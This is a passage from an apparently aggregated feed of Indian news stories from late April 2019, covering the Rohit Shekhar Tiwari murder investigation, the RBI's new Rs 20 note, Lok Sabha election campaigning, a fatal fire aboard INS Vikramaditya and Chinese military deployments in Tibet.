said that during her four days of interrogation, Apoorva did not break down even once but she was later seen being disturbed and regretting of killing her husband. The officer said during the interrogation, Apoorva had claimed that Rohit's mother Ujjwala's interfering nature affected the couple's relationship. The police officer said that on the night Rohit was smothered to death, he had teased her saying that while he was returning from Uttarakhand, he and his sister-in-law had drunk alcohol from the same glass. This, apparently had triggered Apoorva so much that she attacked her violently and smothered him to death. The police also said that after killing Rohit, Apoorva, who used to live in a separate room on the same floor, was seen entering his room a couple of times later, in a CCTV footage. The police suspect that there are high chances of evidence being destroyed by her. According to the police, Apoorva strangulated Tiwari with bare hands and then used the pillow, so that he could not shout for help. Rohit's body was discovered by the domestic help almost after 14 hours after he was killed. New Delhi: Apoorva, the lawyer wife of Rohit Shekhar Tiwari who has been arrested for allegedly killing him, has showed confusing behaviour, a police officer said Thursday, adding she regrets her action sometimes and appears cold about the incident other times. During four days of intense interrogation, she did not break down once but now she appears to be regretting smothering Tiwari on the night of April 15-16. She also claimed that Tiwari's mother, Ujjwala, often interfered between them and this affected the couple's relationship, the officer said.\On the night Tiwari was killed, he and Apoorva were in their room at the Defence Colony residence when they had a fight over Tiwari's proximity with his sister-in-law. "She told him she did not like his proximity with his sister-in-law and that he used to drink with her. He teased her saying that when he was returning from Uttarkhand, he and his sister-in-law drank alcohol from the same glass. This angered Apoorva. She held on to his neck and when he tried to raise an alarm, she choked him with a pillow," the officer said. Police sources, meanwhile, claimed a letter, written by the District Bar Association of Indore on April 22, was received by the Crime Branch. It sought a fair probe in the case and urged the police department to ensure that Apoorva is not implicated, they said. The letter also indicated that Apoorva may have been framed since Tiwari's family did not want her to get any share in his property. But the family has claimed the letter was written at the behest of Apoorva's father, who is a well-known lawyer in Indore and served at a top post in the bar association, the sources said. Police have sought call details of the landline number at Tiwari's Defence Colony residence. They have also taken Apoorva's nail samples to ascertain if Tiwari's skin was stuck in them during the fight, or to see the possibility of any other DNA present there. But, the sources said, there may not be any clue as the samples were taken a few days after the killing. The south district police, which investigated the case previously, did seal the room on April 16 after Tiwari was declared brought dead at a city hospital. Initially, it was suspected that he had died of natural causes but after an autopsy, it was found he was "smothered" with a pillow. Police said she did enter the room a couple of times after allegedly killing him at around 1 am, so there are high possibilities of the crime scene being contaminated. "She must have tried to tamper with the bedsheet and the pillows and tried to dress up the room to destroy the evidence," the police officer said. According to him, Apoorva strangulated Tiwari with bare hands and then used the pillow, so that he could not shout for help. She managed to keep his death a secret for almost 14 hours. On Wednesday, Apoorva was taken to the Defence Colony residence where police recreated the crime scene. Tiwari's family members suspect he was allegedly drugged by Apoorva before being killed. Only the viscera report will confirm if he was drugged, the officer said. Bedsheets, pillows, Tiwari's clothes have been sent for forensic examination. Police said Tiwari was short-tempered and the couple often fought over trivial issues since their marriage about a year ago. The police officer ruled out any possibility of psychological examination of Apoorva. The Reserve Bank of India (RBI) on Friday said that new Rs 20 denomination notes in the Mahatma Gandhi series will be issued shortly. In an official statement, the RBI said that the new denomination has the motif of Ellora Caves on the reverse, depicting the country's cultural heritage. The new Rs 20 note will be greenish yellow in colour, the statement said. "All the banknotes in the denomination of Rs 20 issued by the Reserve Bank in the earlier series will continue to be legal tender," the statement read. The note bears the signature of Shri Shaktikanta Das, Governor, RBI. The statement added that the note has other designs, geometric patterns aligning with the overall colour scheme, both at the obverse and reverse. Below is the image of the new Rs 20 banknote, to be issued by the central bank: Salient features of the note: Obverse (Front) 1. See-through register with denominational numeral 20 2. Denominational numeral 20 in Devanagari 3. Portrait of Mahatma Gandhi at the centre 4. Micro letters 'RBI', ', INDIA' and '20' 5. Windowed demetalised security thread with inscriptions and RBI 6. Guarantee clause, Governor's signature with promise clause and RBI emblem towards right of Mahatma Gandhi portrait 7. Ashoka Pillar emblem on the right 8. Mahatma Gandhi portrait and electrotype (20) watermarks 9. Number panel with numerals growing from small to big on the top left side and bottom right side. Reverse (Back) 10. Year of printing of the note on the left 11. Swachh Bharat logo with slogan 12. Language panel 13. Motif of Ellora Caves 14. Denominational numeral 20 in Devanagari. The dimension of the banknote will be 63 mm x 129 mm. Chandigarh: A total of 223 candidates are left in the fray for 10 Lok Sabha seats in Haryana which will go to the polls in the sixth phase on May 12, an official said Friday. On the last day of withdrawal of nominations, 10 candidates from six parliamentary constituencies have withdrawn their nominations, Joint Chief Electoral Officer Inder Jeet said in an official release. While one candidate each has withdrawn nomination from Kurukshetra, Sirsa, Hisar, Bhiwani-Mahendergarh and Gurugram parliamentary constituencies, five candidates have withdrawn their nomination from Karnal seat, he said. Eighteen candidates are contesting from Ambala, 24 from Kurukshetra, 29 from Sonipat, 21 from Bhiwani-Mahendegarh, 24 from Gurugram, 20 from Sirsa, 26 from Hisar, 16 from Karnal, 18 from Rohtak and 27 from Faridabad, the officer said. At least 29 candidates are in fray from the Sonipat parliamentary constituency, from where former chief minister Bhupinder Singh Hooda is pitted against BJP's sitting MP Ramesh Chander Kaushik and JJP's Digvijay Chautala. Sixteen candidates are in fray from the Karnal seat, where the BJP has replaced its sitting MP Ashwani Kumar Chopra and fielded Sanjay Bhatia. In the 2014 Lok Sabha polls, 230 candidates contested on 10 Lok Sabha seats in Haryana, Inder Jeet said. London: Actor Zac Efron has revealed that it became difficult for him to detach himself from his "Extremely Wicked, Shockingly Evil and Vile" character Ted Bundy after he finished shooting for the film. The biographical crime thriller, directed by Joe Berlinger, features Efron as serial killer Bundy, who confessed to killing at least 30 women during 1970s. On the sidelines of the film's premiere here, Efron told Metro, "I've never played a role in which I really have to separate myself from when I go home at night and it was almost impossible. I'd like to say that I did it successfully but I couldn't." The film, which was recently picked up by Netflix, has been subjected to a lot of criticism as many people say that it glamourises the killer by portraying him as a suave, handsome and desirable figure. Efron said initially, he was not ready to play a serial killer on screen. "I really wasn't interested in playing a serial killer. I'm not in the business of glamorising a horrendous person or his acts, but there is something unique about the way we went into the psyche of Ted, and his longtime girlfriend Liz," he said. The biopic of the serial killer is told from the perspective of Bundy's ex-girlfriend Elizabeth "Liz" Kloepfer, portrayed by Lily Collins in the film. "It's a different perspective and not your run-of-the-mill serial killer, cliche, bodycount gets higher and higher and 'Oh the guy you always knew did it' (film). It was what it was like to be there on the day," Efron said. Hyderabad: An advocate was arrested here Friday for allegedly raping and threatening a law student, police said. The lawyer allegedly called her to his house on April 21 and raped her, a police release said. He had later called her to his house and threatened that he would expose their 'intimate' moments if she did not give him money, it said. Following this, she lodged a complaint against him and he was arrested. Indian security agencies are closely monitoring the activities of over 50 Islamic State (IS) suspects who have absconded from India and are currently hiding in Afghanistan, Syria and other countries. The security agencies decided to boost the surveillance following the deadly terror attacks that hit the Sri Lankan capital city of Colombo on Sunday. Live TV The security agencies believe that the absconding suspects are currently involved in recruiting new members and are conspiring to carry out major attacks in India. After the attacks in Sri Lanka, Indian agencies are leaving nothing to chance and are keeping a close eye on the activities of these suspects. As per the report, the National Investigation Agency (NIA) has already arrested nearly 105 Islamic State suspects in the last six years. The NIA has also registered 26 Islamic State related cases so far. A group of 14 Islamic State suspects from India are currently believed to be staying in Afghanistan. These suspects from Kerala had left India between mid-May and early-July 2016 before travelling to Afghanistan, where they all decided to join the Islamic State. Several others who are in Syria and Iraq are trying to recruit Indians through the internet. In December 2018, NIA had busted an Islamic State-inspired module, called Harkat-ul-Harb-e-Islam and had claimed that the module was planning to carry out a series of blasts at many places in Delhi and Uttar Pradesh. It is to be noted that the Islamic State has not been able to execute any terror attack on Indian soil so far. This has become largely possible because our investigative agencies have been able to bust these modules before they succeeded in executed their attacks. ''Indian investigating agencies have arrested nearly 105 ISIS suspects in India in the last six years. Many states are also running de-radicalisation camps which have become a great success to curtail IS threat in India," said a senior intelligence officer. Out of the 105 IS suspects arrested in India so far, 53 are from North India. The NIA has arrested 26 people from Uttar Pradesh and 16 from Kerala for their alleged connection with IS. The IS had claimed responsibility for Sunday's serial bomb blasts in Colombo that killed hundreds and left around 450 injured. The terror group later released a picture of eight terrorists, who carried out the deadly attacks, on 'Amaq' news agency. Besides releasing the pictures of the suicide bombers, IS also revealed their names. According to IS, the attacks were carried out by Abu Ubaida, Abu al-Mukhtar, Abu Khalil, Abu Hamza, Abu al-Barra, Abu Muhammad and Abu Abdullah. The Indian Navy in a series of tweets paid tribute to Lieutenant Commander DS Chauhan who died on Friday while trying to douse a fire on board aircraft carrier INS Vikramaditya. The fire broke out on board aircraft carrier INS Vikramaditya in the morning when the ship was entering the harbour in Karwar. Lt Cdr DS Chauhan bravely led the firefighting efforts in the affected compartment. "It is with profound grief and regret that we report the sad and untimely demise of Lieutenant Commander DS Chauhan, a young colleague and a brave brother-in-arms, onboard INS Vikramaditya," the Indian Navy tweeted on behalf of Navy chief Admiral Sunil Lanba. It is with profound grief & regret that we report the sad & untimely demise of Lieutenant Commander DS Chauhan, a young colleague and a brave brother-in-arms, onboard INS Vikramaditya. He laid down his life fighting a fire in a machinery compartment 1/3 pic.twitter.com/E2NUPJtSFK SpokespersonNavy (@indiannavy) April 26, 2019 "His daring effort prevented the fire spreading & causing major damage to the combat capability of the Carrier," read the next tweet. His daring effort prevented the fire spreading & causing major damage to the combat capability of the Carrier 2/3 pic.twitter.com/a7F9EwYRkD SpokespersonNavy (@indiannavy) April 26, 2019 Lt Cdr DS Chauhan hailed from Madhya Pradesh's Ratlam. His body will be brought to his hometown on Saturday. The officer is survived by his mother and sister. The Indian Navy has promised to stand by his family and said that Lt Cdr DS Chauhan's sacrifice will no go in vain. "We salute his courage and sense of duty and will make every effort to ensure that his supreme sacrifice does not go in vain. We shall be with his family forever and at all times," the tweet read. We salute his courage and sense of duty and will make every effort to ensure that his supreme sacrifice does not go in vain. We shall be with his family forever and at all times - Admiral Sunil Lanba CNS, all ranks and families of #IndianNavy 3/3 pic.twitter.com/phCNrB98OW SpokespersonNavy (@indiannavy) April 26, 2019 Lt Cdr DS Chauhan had lost consciousness owing to the smoke and fumes during the firefighting efforts. Though he was immediately evacuated to the Naval Hospital at Karwar for treatment, he could not be revived. Live TV INS Vikramaditya was supposed to take part in the Varuna naval exercise from May 1 with the French Navy which is sending its aircraft carrier FNS Charles de Gaulle for the same. It is India's only operational aircraft carrier at present. New Delhi: Despite the bitter Doklam standoff with India in the recent past, China is still quietly building up its military presence in Tibet and upgrading many airfields for military use. According to the latest Indian intelligence agencies' report, China has deployed one of its deadliest H-6 bomber in Hoping airfield of Tibet Autonomous Region (TAR). The report states that People's Liberation of Army (PLA) has taken full control of Hoping Airfield and it has been placed under Western Theater Command (WTC). Hoping Airbase is a dual-use military and civilian airport. PLA is also reported to have inducted 155mm calibre vehicle mounted Howitzer in unit of WTC. H-6 bomber is a variant of Soviet Tupolev TU-16 twin-engine medium-range bomber used by China's People's Liberation Army Air Force (PLAAF). The latest version of H-6K, which has been designed for long-range attacks, is considered as a strategic bomber. Some reports say it is capable of attacking US carrier battle groups having nuclear-strike capability. Indian agencies are studying what will be the scenario in case of a conflict with India and what role would be played by H-6 bombers in such an eventuality. "We are aware of the new development in TAR. We are gathering additional information on H-6 bases in airfields of Western Theater Command and their assessed scenario of a conflict with India," said a senior officer in the Indian Defense Ministry. There were several intelligence inputs available about PLA's attempt to build permanent constructions for hangers in the Hoping airfield. These are able to protect aircraft on ground during air raids. China has deployed Howitzer units in WTC which is capable of achieving a maximum range of 50 km with an extended-range projectile. It is also capable of firing GPS and laser-guided precision munition. The dispute between India and China over Doklam may have subsided but the two countries are constantly engaged in strengthening defence preparedness in the border areas. While China's PLA has built several new military camps in the border areas, according to the latest information, intelligence inputs also suggest that there is a secret guided missile unit in China's Yuxi about 900 kilometers away from Arunachal Pradesh. According to intelligence reports, China has deployed '622 Missile Brigade' in Yuxi, which is equipped with guided missiles. China is deploying long-range kill missiles at this new base. China has already strengthened its Western Theater Command against India and now, after information about the new Missile Brigade is revealed in the South Theater Command, Indian agencies are constantly monitoring this development. Intelligence agencies are also trying to gather information about the People Liberation Army's Rocket Force(PLA Rocket Force) 622 Missile Brigade. A fire broke out on board aircraft carrier INS Vikramaditya on Friday morning when the ship was entering the harbour in Karwar. Navy officer Lieutenant Commander DS Chauhan died while trying to douse the blaze. The fire was brought under control by the ships crew swiftly preventing any serious damage affecting the ships combat capability. According to a statement issued by the Government of India's Defence Wing, Lt Cdr DS Chauhan bravely led the firefighting efforts in the affected compartment. While the fire, which broke between 9-9:30 am, was brought under control, the officer lost consciousness owing to the smoke and fumes during the firefighting efforts. Live TV The brave officer was immediately evacuated to the Naval Hospital at Karwar, INHS Patanjali, for treatment. However, the officer could not be revived. Navy has ordered a Board of Inquiry to probe the incident. (Image courtesy: ANI) INS Vikramditya was supposed to take part in the Varuna naval exercise from May 1 with the French Navy which is sending its aircraft carrier FNS Charles de Gaulle for the same. INS Vikramaditya is India's only operational aircraft carrier at present. It is 284 metres long and has a maximum beam of about 60 metres. Standing about 20 storeys tall from keel to the highest point, the warship has a total of 22 decks. INS Vikramaditya has the Short Take-Off But Arrested Recovery (STOBAR) system and is capable of carrying over 30 aircraft including MiG-29K fighters along with Kamov 31, Kamov 38, Seaking, Advanced Light Helicopter Dhruv and Chetak rotatory wing planes. The aircraft carrier has a strength of 1,600 personnel on board. With a capacity of over 8,000 tonnes of Low Sulphur High Speed Diesel, the warship has a range of over 7,000 nautical miles (13000 kms). Its maximum speed is 30 knots (55.5 km/hour) and she is powered by 8 new generation steam boilers generating a total output power of 180,000 SHP. These boilers power four propellers, each greater in diameter than twice the height of an average male. The power generation capacity onboard is about 18 megawatts enough to cater to the lighting requirement of a mini city. An extensive revamp of sensors including fitment of Long Range Air Surveillance Radars, Advanced Electronic Warfare Suite makes the ship capable of maintaining a surveillance bubble of over 500 kms around the ship. The fourth generation MiG 29K swing role fighter is the main offensive platform and has a range of 2,000 km. The air dominance fighter carries an array of weapons including anti-ship missiles, Beyond Visual Range air-to-air missiles, guided bombs and rockets. The ship is equipped with state of the art launch and recovery systems along with aids to enable smooth and efficient operation of ship borne aircraft. Major systems include the LUNA Landing system for MiGs, DAPS Landing system for Sea Harriers and Flight deck lighting systems. The heart of the operational network that infuses life into the combat systems onboard the ship is the Computer-aided Action Information Organisation (CAIO) system, LESORUB-E, with the capability to gather data from ships sensors and data links and to process, collate and assemble comprehensive tactical pictures. This state of the art system has been specifically designed keeping in mind the essential requirement on the carrier for fighter control and direction. One of the most prominent equipment fitted on the superstructure is the Resistor-E radar complex. Resistor-E is the automated system designed for providing air traffic control, approach/landing and short-range navigation for shipborne aircraft. This complex along with its various sub-systems provides navigation and flight data to shipborne aircraft operating at extended ranges from the mother ship. The precision approach guidance system aids the fighters on approach to be directed down to a distance of 30 meters short of flight deck. INS Vikramaditya also boasts of a very modern communication complex, CCS MK II, to meet her external communication requirement. Installation of Link II tactical data system allows her to be fully integrated with the Indian Navys network centric operations. Srinagar: Fresh snow avalanches at over 10 places have delayed the reopening of strategic Srinagar-Leh highway. It is the only road linking the Ladakh region with Kashmir. The authorities had already completed the snow clearance operation on the highway, which was closed in November 2018 due to the accumulation of eight to ten feet of snow, particularly between Sonamarg-Zojilla and Meenmarg. The highway was supposed to open for traffic soon, the officials said earlier this month. "Every foot of snow proved a challenging task," project commander Colonel Rajeev Lohani was quoted by news agency IANS as saying. Live TV "The whole road from Zojilla Pass to Drass falls in a heavy avalanche zone. The snow clearance team faced a tough challenge on a daily basis. The team has reached zero point and snow clearance may take some more days for widening activities before the highway is officially thrown open for public," he had added. (With inputs from Zee News' Ieshan Wani) New Delhi: The Supreme Court on Friday stayed Justice Arumugasamy Inquiry Committee's probe into the death of former Tamil Nadu CM and AIADMK leader J Jayalalithaa. Chennai's Apollo Hospital had announced Jayalalithaa's death on December 5 of 2016. She had been admitted here on September 22 after her health began deteriorating. Soon after her death, there were allegations of foul play and questions were raised regarding the treatment provided to the AIADMK chief. Subsequently, an inquiry commission was set up to probe the circumstances that led to Jayalalithaa's death, headed by retired Justice A Arumughaswamy. While the Madras High Court had dismissed a petition from Apollo Hospital which had objected to the inquiry commission, the Supreme Court on Friday put a stay order. Over 100 witnesses had been quizzed so far by the commission which included Dr KS Sivakumar, the personal physician of Jayalalithaa. Others included Apollo Hospitals' radiologist Dr Meera and emergency doctor Thava Pazhani. Apollo Hospital had previously said that its team of doctors are being harassed and had suggested setting up of a medical board to assist the inquiry commission. Oslo/Copenhagen/Stockholm: SAS pilots in Norway, Sweden and Denmark went on strike on Friday as wage talks broke down, leading the carrier to cancel around 70 percent of its flights, the company and mediators said. A strike across the three Scandinavian countries could affect some 170,000 passengers during the weekend, SAS has said. SAS said on Friday it hoped to resume negotiations and reach an agreement as soon as possible. "As a consequence of the strike, domestic, European and long-haul flights have been cancelled, and thousands of travellers will be affected," it said in a statement. The strike does not affect flights operated by SAS partners, which make up approximately 30 percent of all departures, the airline said. "It is deeply regretful that the pilots` strike will have a negative impact on our customers. SAS is prepared to continue to negotiate, but if the requirements were to be met, they would have very negative consequences for the company," it added. Labour unions this month called for 1,500 SAS pilots to go on strike on Friday if no agreement was reached on wages and other issues after an earlier round of talks failed. "The two sides were too far apart, and there was no reason to believe that a compromise could be reached," the office of the National Mediator of Norway said in a statement announcing the breakdown of the Norwegian talks. New Delhi: Jammu and Kashmir Governor Satyapal Malik has opposed the proposal to hold assembly elections in the state in the month of June, said an ANI report. The report said that the Malik asked the poll panel to hold the elections in November. The Jammu and Kashmir administration has cited Muslims' holy festival Ramzan, Amarnath Yatra, tourist season, Bakarwal migration as the reasons for further delay in elections. Earlier in March, the Election Commission announced the seven-phased Lok Sabha election schedule on March 10 and said election for Jammu and Kashmir assembly would not be conducted along with the parliamentary elections. The 87-member assembly plunged into a crisis in June 2018 after BJP withdrew its support to the coalition government in Jammu and Kashmir where it was in power with Peoples Democratic Party, led by Mehbooba Mufti. The state is since then under the President's rule. The BJP and PDP were in an alliance in the state since 2016. PDP supremo Mehbooba Mufti was the Chief Minister of Jammu and Kashmir in the coalition government. While PDP has 28 out of 53 MLAs in Jammu and Kashmir, BJP just stood behind with 25. Lucknow: Uttar Pradesh Deputy Chief Minister Keshav Prasad Maurya on Thursday said Samajwadi Party is a `Samapt (finished) Party` and Bahujan Samaj Party is a `Bilkul Samapt (completely finished) Party`. "I always say SP is a `Samapt Party` and BSP is a `Bilkul Samapt Party`," said Maurya here in an election rally. Criticising the Congress party, the Deputy Chief Minister claimed that his party will win both Amethi and Raebareli in Uttar Pradesh. "You have already worked towards finishing off the Congress party in Uttar Pradesh. They are breathing through two seats - Amethi and Raebareli but this time there will be `Lotus` on both of them," he said. Last week, Maurya had slammed Bahujan Samajwadi Party (BSP) chief Mayawati over her remarks that "Mulayam Singh not a `Fake OBC` leader like PM Modi" remarks. "It is Mayawati`s anxiety that is making her say so. On one hand, you have `nakli bhatija` (fake nephew) on other you have `nakli bua.` (fake aunt). They are insulting the Prime Minister by using such language," Maurya had said while launching a scathing attack on SP chief Akhilesh Yadav and the BSP supremo. Samajwadi Party (SP) founder Mulayam Singh Yadav is the only "real" backward community leader in the country and not a `fake OBC` leader like Prime Minister Narendra Modi. "There is no doubt that he (Mulayam) has joined people from all groups of the society under the SP banner. He does not come from a fake backward community like PM Modi, he is real OBC leader," she said while addressing a rally here on Friday.V oting for the second phase of the Lok Sabha elections in Uttar Pradesh had concluded with a turnout of 67.55 per cent. The remaining 64 seats will go to polls in the next five phases of elections, and counting of votes will take place on May 23. (ANI) New Delhi: Andhra Pradesh Chief Minister N Chandrababu Naidu Friday accused the Election Commission of usurping the powers of his government and preventing it from discharging its duties. In a letter to Chief Election Commissioner Sunil Arora, he said the chief electoral officer (CEO) of Andhra Pradesh had reportedly told the media that the chief minister does not have the power to conduct review meetings as the model code of conduct is in force. The CEO has also directed the ADG (Intelligence) not to report to the chief minister, Naidu alleged. "There's no such provision in the model code of conduct... I am duty bound and empowered to conduct review meetings. The CEO is spreading misinformation and exceeding his jurisdiction," Naidu alleged in the letter. "He has also instructed the ADG (Intelligence), who works directly under the control of the chief minister, not to report to the CM," the letter read. Accusing the EC of discriminating against him, Naidu asked if the poll panel has also directed the Intelligence Bureau Director and the National Security Advisor not to meet and brief the prime minister. "Why discriminating orders are being issued in case of Andhra Pradesh? The EC has no authority to bar an elected government from discharging its duties," he said and accused the EC of "usurping" its power. Naidu alleged the EC was facilitating the functioning of the BJP-led central government and states ruled by the party and its allies. The Union government held a cabinet meeting on April 15 despite the model code of conduct being in force and "even today, regular security briefings and meetings take place at the central level. The CM of Telangana is also conducting review meetings regularly", he claimed. He said since there is a large gap of 42 days before the results are announced on May 23, the normal administration cannot be allowed to come to a standstill. "Since the electorate has already exercised their franchise, the EC has no jurisdiction to stop any review meeting or briefing," he said. On April 13, a TDP delegation led by Naidu met CEC Arora, complaining of large scale EVM malfunction in the state on the polling day and urging the poll panel to revert to the ballot system. Congress on Friday removed a labourer from the premises of its Jaipur party office after it was observed that he was putting up a poster of Rahul Gandhi while wearing a T-shirt from an event in 2018 which had been attended by PM Narendra Modi. The Prime Minister's name and the name of the event was boldly mentioned on the back of the T-shirt. The episode unfolded during a meeting of Indian Overseas Congress chief Sam Pitroda. The labourer had been busy organising the venue for the meeting with many here oblivious to the T-shirt he was wearing. The white T-shirt was simple and hardly raised any eyebrows till what was printed on its back was observed by some. It was found that the T-shirt was part of the items released and distributed during the inauguration of Barmer Refinery and Petrochemical Complex on January 16 of 2018. PM Modi was the chief guest at the event and his name was prominently displayed on the T-shirts distributed. While wearing the T-shirt in itself did not evoke much attention, that the worker was wearing it - oblivious to what was printed in all probabilities - while putting up a banner of Rahul Gandhi was a contrast of epic proportions. Even the Congress leaders present here had hardly paid any attention to the labourer. Once it was brought to their notice, however, the labourer was removed from the premises of the party office. In a charged-up political atmosphere, optics are being given special attention and political parties are leaving no stone unturned to appear confident of bringing each other down. The battle between BJP and Congress, in particular, is intense with both parties accusing each other on a host of issues. The Election Commission served a third notice to Sadhvi Pragya Singh Thakur for calling Congress' Digvijaya Singh a terrorist. During an election campaign in Madhya Pradesh's Sehore on Thursday, Pragya Thakur had allegedly said that a sanyasi (ascetic) is needed to eliminate a terrorist. The EC has asked for a comprehensive report from the Collector on her statements. Live TV The 48-year-old right-wing activist, an accused in the 2008 Malegaon blast case, has been in the eye of a storm after Bharatiya Janata Party fielded her from Bhopal constituency in the Lok Sabha election against Congress veteran and former Madhya Pradesh CM Digvijaya Singh. A controversy broke out on her statement on former Maharashtra Anti-Terrorism Squad chief Hemant Karkare, who died in the 26/11 Mumbai terror attack. She allegedly claimed that Karkare died during the terror attacks as she "cursed" him for "torturing" her when he probed the blast case as chief of the Anti- Terrorism Squad (ATS). Thakur also claimed that she was "proud" of her participation in the demolition of the Babri Masjid at Ayodhya in 1992 in an interview on television. The EC has issued a show-cause notice to Thakur in both the cases. New Delhi: The Election Commission on Friday barred BJP's Nadia district president Mahadev Sarkar from campaigning for two days for making sexist remarks on a Trinamool candidate during a rally in West Bengal. The panel said that it first issued a notice and then barred Nadia president Mahadev Sarkar from holding any public meeting, road show, public rally and giving interviews in media in connection with ongoing elections, for 48 hours, effective from 4 pm on April 26 till 4 pm on April 28. The panel said that it found the BJP candidate guilty of violating the Model Code of Conduct for making controversial remarks on Trinamool Congress candidate Mahua Moitra during a poll campaign. On Thursday, the Supreme Court had issued a notice to the Election Commission to take appropriate action against party workers for making sexist remarks against Mahua Moitra. Earlier, when the poll panel served a show cause notice to Sarkar for making derogatory remarks against his rival candidate Moitra and asked him to clarify as to why he made such remarks on her. In his response, Sarkar said that the matter does not come under the violation of the model code of conduct. However, the Election Commission said that his remarks have clearly violated the Model Code of Conduct provision and reprimanded him for the same while barring him for 48 hours from campaigning for Lok Sabha election. Prime Minister Narendra Modi filed his nomination from the Varanasi seat in the Lok Sabha election 2019 on Friday (April 26). This was just a day after a massive roadshow in the holy city which saw lakhs of locals come out to cheer for him. While this is the second time PM Modi will contest from this Lok Sabha seat, winning in 2014 by over 3.70 lakh votes, he will face off against Congress and Samajwadi Party here. While BJP and NDA leaders claim that PM Modi will once again cruise to a dominant win in Varanasi which votes in the last phase - on May 19, his rivals say 2019 is not 2014 and the constituency will witness a tough contest. In 2014, PM Modi had defeated Aam Aadmi Party chief Arvind Kejriwal by 3.71 lakh votes. He had secured 5,81,022 votes as against Kejriwal's 2,09,238 votes. In third place was Congress' Ajai Rai who managed a measly 75,614 votes. This year, Congress had once again fielded Rai even though there was speculation that Priyanka Vadhra Gandhi may be chosen to mount a challenge to BJP from here. Critics of Congress say that Rai is a fall guy and that by not naming Priyanka, Congress has surrendered from a fight that it knows it cannot possibly win. Instead, the party has gone yet again with Rai, a five-time MLA from Uttar Pradesh who, interestingly, had begun his political innings with BJP's student wing. Rai would go on to contest in Assembly elections - winning from Kolasla constituency thrice between 1996 and 2007. Political ambitions made Rai hunt for a Lok Sabha ticket and when it eluded him, he jumped ship and joined SP. Rai fought the 2009 Lok Sabha election on an SP ticket but finished a distant third to BJP's veteran leader Murli Manohar Joshi and Bahujan Samaj Party's Mukhtar Ansari. The result was a snub for Rai who became an Independent before officially joining Congress and fighting the 2014 Lok Sabha election in a losing cause. A year later, Rai was sent to jail on charges of violence and arson in Varanasi and was released only seven months later. In what has become a spiralling political career, he would go on to lose the UP Assembly election in 2017 from Pindra constituency. A string of losses - in Lok Sabha elections as well as Assembly election - has dealt a massive blow to the prospects of Rai mounting any semblance of a challenge to PM Modi this time around. It would, however, be interesting to see the margin of defeat if the election goes as per the wishes of the BJP. The other candidate of some note in this marquee contest is Shalini Yadav. A political novice, she is the daughter-in-law of former Rajya Sabha Deputy chairperson Shyam Lal Yadav. She only recently went to SP from Congress. Like Rai, Shalini hardly has much in her political resume to evoke confidence. Even her bid to become Mayor of Varanasi in 2017 had been an exercise in futility. That her father-in-law had won this seat on a Congress ticket in 1984 is all but confined to pages of history. A fourth challenger in Varanasi is a man may be the most unlikely of candidates but one who had made headlines in January of 2017. Tej Bahadur Yadav was sacked by Border Security Force (BSF) after he uploaded several videos on Facebook in which he complained of food provided to soldiers. The video had gone viral and had led to a massive outcry. Tej Bahadur was eventually court-martialed after an inquiry. In the months leading up to Lok Sabha 2019 election, Tej Bahadur alleged that he has had to face a number of difficulties because he chose to expose the truth and that he has been 'mentally tortured'. He also claimed that while he was approached by several parties to fight Lok Sabha election 2019 for them, he thought it better to battle as an Independent. He has been seen doing the rounds of Varanasi with his group of supporters, even carrying a box for donations. He filed his nomination on Wednesday (April 24). There are a few other Independent candidates as well in a battle that could prove to be the most lopsided of Lok Sabha election 2019. The question now is whether PM Modi will be able to increase his margin of win from Varanasi seat - in comparison to 2014 - or will his opponents etch out a little more for themselves this year. Prime Minister Narendra Modi filed his nomination from Varanasi parliamentary constituency on Friday, April 26, a day after his mega roadshow in the temple town drawing a massive crowd. Top BJP leaders, Union Ministers, NDA allies and NEDA leaders accompanied the PM during the process. Live TV Apart from PM Modi, a slew of other leaders will filed their nominations on Friday, including SAD chief Sukhbir Singh Badal from Ferozpur, his wife Harsimrat Badal from Bathinda, BJP's Ravi Shankar Prasad and Ashwini Choubey from Patna Sahib Seat and Buxar respectively. Here are all the election-related updates of April 26: * Days after Mukesh Ambani backs Congress candidate, son Anant Ambani seen at PM Modi's Mumbai rally Anant Ambani spotted at PM Modi's Mumbai rally Read @ANI story | https://t.co/53FCTx3bSk pic.twitter.com/ypHcTRkMbQ ANI Digital (@ani_digital) April 26, 2019 * Maharashtra: Congress MLA Kalidas Kolambkar seen at NDA's rally in Mumbai. Prime Minister Narendra Modi, Maharashtra CM Devendra Fadnavis, Shiv Sena chief Uddhav Thackeray, among others addressed the rally Maharashtra: Congress MLA Kalidas Kolambkar seen at NDA's rally in Mumbai. Prime Minister Narendra Modi, Maharashtra CM Devendra Fadnavis, Shiv Sena chief Uddhav Thackeray, among others addressed the rally pic.twitter.com/pTQ5VLZ9d8 ANI (@ANI) April 26, 2019 * PM Modi said opposition leaders are in a race to support Pakistan on the issue of military operations against terror camps in the neighbouring country. * Since Independence, the least number of seats that Congress won was 44, in 2014 General Elections. In 2019 General Elections, Congress is making a record of fighting on the least number of seats ever: PM Modi * PM Narendra Modi at NDA rally in Mumbai: Once upon a time, telephone bill was a huge part in the list of expenses of the middle class. Due to the efforts of our government, calling is almost free, data in India is also the cheapest in the entire world. PM Narendra Modi at NDA rally in Mumbai: Once upon a time, telephone bill was a huge part in list of expenses of middle class. Due to efforts of our government, calling is almost free, data in India is also the cheapest in the entire world pic.twitter.com/70iISBXGnv ANI (@ANI) April 26, 2019 * PM Modi addresses rally in Mumbai, says crores of Indians gave up gas subsidy on his appeal. * Andhra Pradesh Chief Electoral Officer Gopal Krishna Dwivedi, who has been accused by Chief Minister N Chandrababu Naidu's of 'exceeding his jurisdiction' in implementing the Model Code of Conduct, asserted that he was functioning strictly as per norms. "I will not react to what the Chief Minister wrote in the letter (to the Chief Election Commissioner). I will only implement the instructions issued by the CEC," Dwivedi said. * BJP president Amit Shah said his party's policy is to reply with a bombshell if Pakistan fires a bullet, while the Congress just plays 'ILU-ILU' with terrorists. "Rahul Baba, you do Ili-Ilu with terrorists. We don't do that. Our policy is very clear. If a bullet comes here, a shell lands there," he said. * The day when the entire country was cheering, distributing sweets, there was disappointment at two places. One, in Pakistan and the other, in Rahul Gandhi and company's office, says Amit Shah * A day ahead of Prime Minister Narendra Modi`s public meeting in Kannauj, Samajwadi Party (SP) chief Akhilesh Yadav and his wife Dimple Yadav held an eight-km-long road show in Kannauj. * Mumbai Police apprehended Maharastra`s Bhim Army chief Ashok Kamble for announcing a reward of Rs 5 lakh to whosoever blackens Sadhvi Pragya Singh Thakur`s face. * Narendra Modi is the only Prime Minister since 1996 who has been unable to conduct assembly elections in Jammu and Kashmir on time: Omar Abdullah * EC Sources: Jammu and Kashmir Governor's administration is against holding assembly elections in June; has asked ECI to hold elections in November. Administration cites Ramzan, Amarnath 